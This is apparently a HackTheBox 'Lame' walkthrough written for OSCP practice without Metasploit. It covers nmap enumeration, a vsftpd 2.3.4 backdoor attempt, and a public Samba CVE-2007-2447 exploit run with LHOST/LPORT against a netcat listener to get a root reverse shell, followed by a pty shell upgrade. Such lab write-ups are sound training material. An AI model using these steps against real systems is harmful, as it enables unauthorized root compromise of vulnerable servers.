HackTheBox— Lame (w/o Metasploit)
This box is a good starting point and a very easy one compared to many of the other retired machines on HTB. I'll be doing this without the use of Metasploit for those who are reading this with the OSCP in mind. This machine is also a good introduction to the mindset to have when attempting the OSCP. It's easy to burn a good portion of your time attacking one service just because it seems like an easy foothold based on previous machines. Instead, consider allotting a specific amount of time for each step, service, exploit, etc. If your attempts don't work, note it, move on, and come back to it later if necessary. For example, in Lame, we see two services that catch our attention - FTP, and Samba. FTP seems like a good place to start, and there's even an exploit available for the ftp service running (vsftpd 2.3.4). Let's see where this goes.
Enumeration
To start, let’s scan the device using nmap to see what services are available. I used the following command:
root@kali:~$ nmap -n -sS -A -T4 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-27 00:02 EDT
Nmap scan report for 10.10.10.3
Host is up (0.083s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: remote management|general purpose|WAP|storage-misc|broadband router
Running (JUST GUESSING): Dell embedded (92%), Linux 2.4.X|2.6.X (92%), Dell iDRAC 6 (92%), Linksys embedded (92%), HP embedded (92%), Arris embedded (90%)
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:linux:linux_kernel:2.6.18 cpe:/o:linux:linux_kernel:2.6 cpe:/o:dell:idrac6_firmware cpe:/h:linksys:wrv54g cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6.22
Aggressive OS guesses: Dell Integrated Remote Access Controller (iDRAC5) (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (92%), Linux 2.6.8 - 2.6.30 (92%), Dell iDRAC 6 remote access controller (Linux 2.6) (92%), Linksys WRV54G WAP (92%), HP P2000 G3 NAS device (92%), Linux 2.6.23 (91%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (90%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 84.19 ms 10.10.14.1
2 84.53 ms 10.10.10.3
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.51 secondsThe results show two potentially vulnerable services that could be targeted - FTP, and SMB.
vsFTPd 2.3.4
According to nmap, the FTP service says anonymous ftp login is allowed. This seems like a good place to start.
Unfortunately this doesn’t look like it’s going to be of any use. Maybe an exploit is available for vsFTPd 2.3.4 that we can use. We can use searchsploit to find out using the following command:
searchsploit vsftpd
It looks like a backdoor exploit exists, and for the same version number too. Unfortunately this is for Metasploit only, which we're trying to avoid for the sake of practice. However, Googling “vsftpd 2.3.4 manual exploit” shows a github page that might be of use: https://github.com/ahervias77/vsftpd-2.3.4-exploit
To use this exploit, we’ll need to download it and run it using python. According to the readme file on the github page, the usage is:
./vsftpd_234_exploit.py [IP address] [port] [command]We can test this using a simple command like “whoami” to see if it works.
Unfortunately this exploit just hangs with no response. At this point, we’ve spent enough time on FTP. We’ll note this information and move onto Samba. If necessary, we’ll come back to FTP later.
Samba
Before we go any further, we’ll need to find out which version of Samba is running on this server. To determine this, we can use the nmap script “smb-os-discovery” using the following command:
nmap --script=smb-os-discovery -p139,445 10.10.10.3As you can see in my initial nmap results at the beginning of this walkthrough, this script failed for me. If this happens on your version of Kali, try replacing /usr/share/nmap/nselib/smb.lua with this: https://github.com/nmap/nmap/blob/c491143358f3417ed7f6712ae8a9d3e48699463a/nselib/smb.lua. Using this replacement fixed it for me as seen below:
According to the smb-os-discovery script, this server is running Samba 3.0.20. A quick searchsploit query for just the version number shows that there's yet another Metasploit exploit available for this specific version of Samba.
Although we’re doing this without the use of Metasploit, reading the Metasploit file can give us some useful information about this exploit (and doing so doesn’t break any rules for the OSCP exam).
Near the bottom of the screenshot, we can see that the exploit is based on CVE-2007-2447. A quick google search for “CVE-2007-2447 manual exploit” points us to this github page: https://github.com/amriunix/CVE-2007-2447
The readme file for this exploit says that it requires pysmb, which can be installed using the command following command:
pip install -user pysmbAfter doing that, we can test this exploit using the following syntax:
python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>Before running this exploit, let’s start a netcat listener on port 443 using the following command:
nc -nlvp 443Now to download and test the exploit.
So far so good. Let’s check our netcat listener.
What a wonderful response :)
User and Root Flags
The exploit worked and gave us a root shell. No need for privilege escalation. Now let’s look for the two flags that come with every HTB machine — user.txt and root.txt
Before we do that though, let’s clean up the shell a bit. We can do this using the following command:
python -c 'import pty; pty.spawn("/bin/bash")'
Now that we have an interactive shell, let’s find those flags. The user.txt flag is typically located in one of the /home/username directories on Linux HTB boxes. This machine had the directories “ftp”, “makis”, “service”, “user”. You could simply use the ls command to see which directory holds the user.txt file. In this specific machine, it was located in the /home/makis directory.
Next, let’s find the root.txt flag. This is typically located in the /root/ directory on Linux HTB boxes.
And there we have it. Now that you’ve finished this machine, take the time to poke around a bit. Although it’s not necessary with HTB challenges, it’s always a good habit to look around and see if you can find any interesting files that can be used to compromise other machines on the network. This sort of mindset will help a lot with your own penetration tests, and especially with OSCP preparation.
